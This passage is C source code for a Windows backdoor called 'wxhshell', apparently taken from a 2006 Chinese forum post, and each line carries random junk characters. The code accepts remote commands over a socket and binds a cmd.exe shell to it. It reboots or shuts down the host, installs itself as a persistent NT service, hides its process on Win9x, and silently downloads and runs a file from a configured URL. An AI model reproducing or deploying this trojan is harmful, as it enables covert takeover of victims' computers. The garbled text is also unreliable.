    switch(cmd[0]) { DkA@KS1Dq  
  ,7/F?!G!J  
  // 帮助 s#* DY  
  case '?': { %+bw2;a6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ytyX:e"  
    break; P$H9  
  } uLq%Nu  
  // 安装 h?-*SLT  
  case 'i': { P 5_ l&  
    if(Install()) ;!9-I%e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gLzQM3{X9  
    else DQ`\HY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (X?et &  
    break; [B1h0IR  
    } Oh'C [  
  // 卸载 6V&HlJH  
  case 'r': { c?t,,\o(}  
    if(Uninstall()) x!`~+f.6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2'-!9!C  
    else sKniqWi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x@Ze%$'  
    break; '\wZKY VN  
    } hhr!FQ.+/  
  // 显示 wxhshell 所在路径 2JR$  
  case 'p': { nl/~7({  
    char svExeFile[MAX_PATH]; n:P++^ j  
    strcpy(svExeFile,"\n\r"); \1f&D!F]b  
      strcat(svExeFile,ExeFile); mGC!7^_D`  
        send(wsh,svExeFile,strlen(svExeFile),0); d+L!s7  
    break; QT)5-Jy  
    } 1=Y pNXX  
  // 重启 Z[%vO?,  
  case 'b': { yk0#byW`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SLjSNuOP  
    if(Boot(REBOOT)) py%_XL=w,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); slH3c:j\  
    else {  )k6O  
    closesocket(wsh); P^-daRb  
    ExitThread(0); #,jw! HO]  
    } i7jI(VvB^  
    break; O!ngQrI  
    } S7kZpD $  
  // 关机 ;0JK>c ]#  
  case 'd': { e"^n^_9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `&/~%>  
    if(Boot(SHUTDOWN)) Z9p`78kYyh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Q/_I@m].  
    else { EF5:$#  
    closesocket(wsh); X775j"<d  
    ExitThread(0); i"GCm`  
    } 9*CJWS;  
    break; 9 lH00n+'  
    } TYu(;~   
  // 获取shell Q$:>yveR*  
  case 's': { lEr_4!h$rZ  
    CmdShell(wsh); hMQh?sF/  
    closesocket(wsh); k3VRa|Y")  
    ExitThread(0); t_NnQ4)=  
    break; vE$n0bL2  
  } >pj)va[Q  
  // 退出 <F&53N&Zc  
  case 'x': { R.)w l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]MaD7q>+R  
    CloseIt(wsh); .3:s4=(f  
    break; "jA?s9  
    } Yu e#  
  // 离开 Sc,a jT  
  case 'q': { 3c[< #] 8S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -,pw[R  
    closesocket(wsh); ! +{$dB>a  
    WSACleanup(); hNUkaP  
    exit(1); 2|:x_rcj  
    break; K['Gp>l  
        } nmy!.0SQ-  
  } dA[S@ysvG  
  } ]`T*}$|  
5o2vj8::  
  // 提示信息 hw)#TEt   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;pVnBi  
} -XMWN$Ah  
  } ^w+)A;?W  
DUlvlQW  
  return; =BVBCh  
} >A*BRX"4C  
D\ kd6  
// shell模块句柄 !UF (R^  
int CmdShell(SOCKET sock) mb#&yK(h  
{ *jrQ-'<T  
STARTUPINFO si; bTJ l  
ZeroMemory(&si,sizeof(si)); 3.@ I\p}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y25L`b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -;W`0 k^  
PROCESS_INFORMATION ProcessInfo; {/Qg4pc!  
char cmdline[]="cmd"; Rpou.RrXR7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8%#pv}  
  return 0; &p83X  
} w[hT,$n  
OTV$8{  
// 自身启动模式 !6pE0(V^+4  
int StartFromService(void) L`n Ma   
{ bY!1t}ALh  
typedef struct L)-1( e<x  
{ TV[@!E a  
  DWORD ExitStatus; G Q])y  
  DWORD PebBaseAddress; 1<$z-y'  
  DWORD AffinityMask;  ;)ji3M  
  DWORD BasePriority; DWmViuZmL  
  ULONG UniqueProcessId; dvPlKLp  
  ULONG InheritedFromUniqueProcessId; ||o :A  
}   PROCESS_BASIC_INFORMATION; D{G~7P\.  
zA%$l&QN]  
PROCNTQSIP NtQueryInformationProcess; {"n=t`E)3  
&KP JB"0L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o8!uvl}:9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WwAvR5jq  
R,f"2 k  
  HANDLE             hProcess; 3R)_'!R[B  
  PROCESS_BASIC_INFORMATION pbi;  \>l DM  
]mdO3P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^J?y mo$>0  
  if(NULL == hInst ) return 0; [a!*m<  
z!>ml3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rr"D)|Y;C(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *z6m644H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1vUW$)?X  
=+"=|cQ  
  if (!NtQueryInformationProcess) return 0; PsCr[\Ul  
AroYDR,3+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |Wz`#<t  
  if(!hProcess) return 0; CaqqH`/E4  
L{uQ: ;w1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; / &#b*46  
94b* !Z  
  CloseHandle(hProcess); 5rlZ'>I.  
s8|F e_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @8"cT-  
if(hProcess==NULL) return 0; (c|Ry[$|  
=L9;8THY  
HMODULE hMod; f0]`TjY  
char procName[255]; r0j+P%  
unsigned long cbNeeded; ' T%70)CM~  
Ot([5/K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $i;_yTht  
Dh.pH1ZY3n  
  CloseHandle(hProcess); Eq6. s)10  
<= Aqi91  
if(strstr(procName,"services")) return 1; // 以服务启动 /6yH ,{(a  
'm|PSwB7  
  return 0; // 注册表启动 z\r29IRh  
} =x5k5NIF  
SJ).L.Cm6  
// 主模块 :!<U"AC  
int StartWxhshell(LPSTR lpCmdLine) Rb l4aB+   
{ qY$]^gS  
  SOCKET wsl; H&h"!+t(#  
BOOL val=TRUE; E=L 1q)  
  int port=0; [$FiXH J  
  struct sockaddr_in door; 4">C0m;ks  
JxLSQ-"  
  if(wscfg.ws_autoins) Install(); p$1y8Zbor  
Mv7=ZAm  
port=atoi(lpCmdLine); W}rLHAaDh  
{mmQv~|5q  
if(port<=0) port=wscfg.ws_port; yYn7y1B  
%w#8t#[,6  
  WSADATA data; c'&\[b(m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #B &%Y6E5  
t>%+[7?6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xay~fD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ae|bAyAK  
  door.sin_family = AF_INET; j,CVkA*DY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^Kfm(E  
  door.sin_port = htons(port); *@zya9y9q  
8Q\ T,C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K\y W{y1  
closesocket(wsl); se`^g ,]P  
return 1; ql(~3/kA_  
} )bR`uV9<  
[6cf$FS9  
  if(listen(wsl,2) == INVALID_SOCKET) { u]jvXPE6  
closesocket(wsl); z-G*:DfgH  
return 1; <jIuVX  
} {^_K  
  Wxhshell(wsl); A? T25<}  
  WSACleanup(); B> V)6\   
w*krPaT3  
return 0; N`rz>6,k1  
6<{XwmM  
} 7 jiy9 [  
h}yfL@  
// 以NT服务方式启动 Y:4 /06I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /MV2#P@  
{ 9Je+|+s]  
DWORD   status = 0; zx`(ojfu  
  DWORD   specificError = 0xfffffff; ) $=!e%{  
"s.s(TR8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @nxpcHj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )POU58$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Uo=_=.GQ  
  serviceStatus.dwWin32ExitCode     = 0; /nzJ`d  
  serviceStatus.dwServiceSpecificExitCode = 0; )UN_,'H/V  
  serviceStatus.dwCheckPoint       = 0; `*w!S8}m;  
  serviceStatus.dwWaitHint       = 0; *r].EBJ\  
:?f^D,w_B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )2: ,E  
  if (hServiceStatusHandle==0) return; 4v;KtD;M  
]Pf!wv  
status = GetLastError(); !(#d 7R  
  if (status!=NO_ERROR) KSxZ4Y  
{ "T1A$DKw+R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'l6SL- <  
    serviceStatus.dwCheckPoint       = 0; z\c$$+t  
    serviceStatus.dwWaitHint       = 0; %hN7K  
    serviceStatus.dwWin32ExitCode     = status; J{e`P;ND  
    serviceStatus.dwServiceSpecificExitCode = specificError; { \ ]KYI0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lnv&fu`1P  
    return; xyyEaB  
  } UKzXz0  
R7 ^f|/l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qX:Y I3:,@  
  serviceStatus.dwCheckPoint       = 0; ]oizBa@?G  
  serviceStatus.dwWaitHint       = 0; 3B?7h/f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oN&U@N/>aU  
} .'zcD^  
`[F[0fY-  
// 处理NT服务事件,比如:启动、停止 QR {>]I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,| ~Pa  
{ :YM1p&|fS  
switch(fdwControl) "P8( R  
{ OTD<3Q q  
case SERVICE_CONTROL_STOP: CMC9%uq  
  serviceStatus.dwWin32ExitCode = 0; $mcq/W   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _E8doV  
  serviceStatus.dwCheckPoint   = 0; g-DFcwO,V  
  serviceStatus.dwWaitHint     = 0;  [1g   
  { Z!*k0 <Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rH9[x8e  
  } Z=zD~ka  
  return; ~$]Puv1V>  
case SERVICE_CONTROL_PAUSE: e7M6|6nb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5;X3{$y  
  break; qv)%)n  
case SERVICE_CONTROL_CONTINUE: g [c ^7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |C}=  1  
  break; 8RjFp2) W  
case SERVICE_CONTROL_INTERROGATE: b/obHB+:  
  break; Tno 0Q +  
}; B~47mw&b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A+ LX37B  
} h]DzX8r}  
XU6SYC"t%~  
// 标准应用程序主函数 /5m~t.Z9M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]BaK8mPl  
{ |SuN3B4e  
9F2MCqvcm  
// 获取操作系统版本 1-}M5]Y  
OsIsNt=GetOsVer(); m4,inA:o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l\ HtP7]  
+%? \#EQJ  
  // 从命令行安装 rn RWL4  
  if(strpbrk(lpCmdLine,"iI")) Install(); jh"YHe/X  
ub]"b[j\1  
  // 下载执行文件 N7-LgP  
if(wscfg.ws_downexe) { DsH#?h<-o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `2,F!kCt  
  WinExec(wscfg.ws_filenam,SW_HIDE); d/lV+yZ  
} )}1S `*J/O  
#PQhgli  
if(!OsIsNt) { !xE@r,'oN  
// 如果时win9x,隐藏进程并且设置为注册表启动 _[,7DA.qc  
HideProc(); ="P&!lu  
StartWxhshell(lpCmdLine); RuWu#tk  
} `gz/?q  
else kerBy\^  
  if(StartFromService()) FQM9>l@6)>  
  // 以服务方式启动 $PFE>=nM  
  StartServiceCtrlDispatcher(DispatchTable); /7igPNhx  
else :I8HRkp  
  // 普通方式启动 G3j'A{  
  StartWxhshell(lpCmdLine); VvTi>2(.  
='Yg^:n  
return 0; K(rWM>Jv  
}
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只看该作者 1 发表于: 2006-10-10
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